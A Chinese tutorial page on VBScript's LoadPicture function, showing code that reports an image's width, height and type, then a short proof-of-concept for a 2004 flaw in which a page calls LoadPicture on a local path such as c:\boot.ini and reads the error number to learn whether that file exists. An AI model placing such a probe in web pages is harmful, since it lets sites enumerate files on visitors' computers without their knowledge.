代码驿站移动版
频道导航
HTML/Xhtml
CSS
JavaScript
HTML5
PHP教程
ASP.NET
正则表达式
AJAX
ThinkPHP
Yii
MySQL
MariaDB
Oracle
MongoDB
Redis
DedeCMS
PHPCMS
帝国CMS
WordPress
Discuz
其它CMS
Zend Studio
Sublime
Notepad
Dreamweaver
Windows
Linux
Nginx
Apache
IIS
CentOS
Ubuntu
Debian
网站优化
工具资源
PHP源码
ASP.NET源码
其它源码
图标素材
按钮素材
字体素材
DedeCMS模板
帝国CMS模板
PHPCMS模板
WordPress模板
Discuz!模板
单页模板
开发软件下载
服务器软件下载
广告投放
联系我们
版权申明
软件编程
网页前端
移动开发
数据库
服务器
脚本语言
PHP代码
JAVA代码
Python代码
Android代码
当前位置：
主页
>
脚本语言
>
VBS
>
vbs中的LoadPicture函数示例
时间：2021-04-09 09:01:23 | 栏目：
VBS
| 点击：次
示例：
<title>LoadPicture函数</title> <form name="frm"> 选择图片<input type="file" name="pic" onChange="GetPicInfor()" > </form> <script language="vbscript"> Sub GetPicInfor() dim objpic,iWidth,iHeight dim pictype,picpath picpath=document.frm.pic.value set objpic=Loadpicture(picpath) iWidth = round(objpic.width / 26.4583) '26.4583是像素值 iHeight = round(objpic.height / 26.4583) select case objpic.type case 0 pictype = "None" case 1 pictype = "Bitmap" case 2 pictype = "Metafile" case 3 pictype = "Icon" case 4 pictype = "Win32-enhanced metafile" end select document.write "你选择了图片"&picpath document.write "<li>长度:"&iHeight&"</li>" document.write "<li>宽度:"&iwidth&"</li>" document.write "<li>类型:"&pictype&"</li>" End Sub </script>
[Ctrl+A 全选 注:
引入外部Js需再刷新一下页面才能执行
]
不过这个函数有个漏洞，可以探测电脑上存在的文件名。2004年的漏洞，微软现在也没补，示例:
<form onsubmit="doIt(this);return false"> <input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit"> </form> <script language="vbscript"> Sub loadIt(filename) LoadPicture(filename) End Sub </script> <script language="javascript"> function doIt(form) { try { loadIt(form.filename.value); } catch(e) { result = e.number; } if (result != -2146827856) { alert('file exists'); } else { alert('file does not exist'); } } </script>
[Ctrl+A 全选 注:
引入外部Js需再刷新一下页面才能执行
]
您可能感兴趣的文章:
用VBSCRIPT控制ONSUBMIT事件
VBS教程：属性-ShortPath 属性
VBS教程：VBScript 语句-ReDim 语句
VBS教程：运算符-减运算符 (-)
用vbs实现cmd功能
相关文章
11-25
VBS For Next循环的一些细节
01-05
VBS教程：函数-Space 函数
12-23
VBS教程：VBScript 语句-Property Let 语句
12-03
VBS教程：正则表达式简介 -字符匹配
10-24
VBS 脚本中的字典、动态数组、队列和堆栈实现代码
JQuery
VUE
AngularJS
MSSql
MySQL
MongoDB
Redis
Linux
Tomcat
Nginx
网站首页
广告投放
联系我们
版权申明
联系站长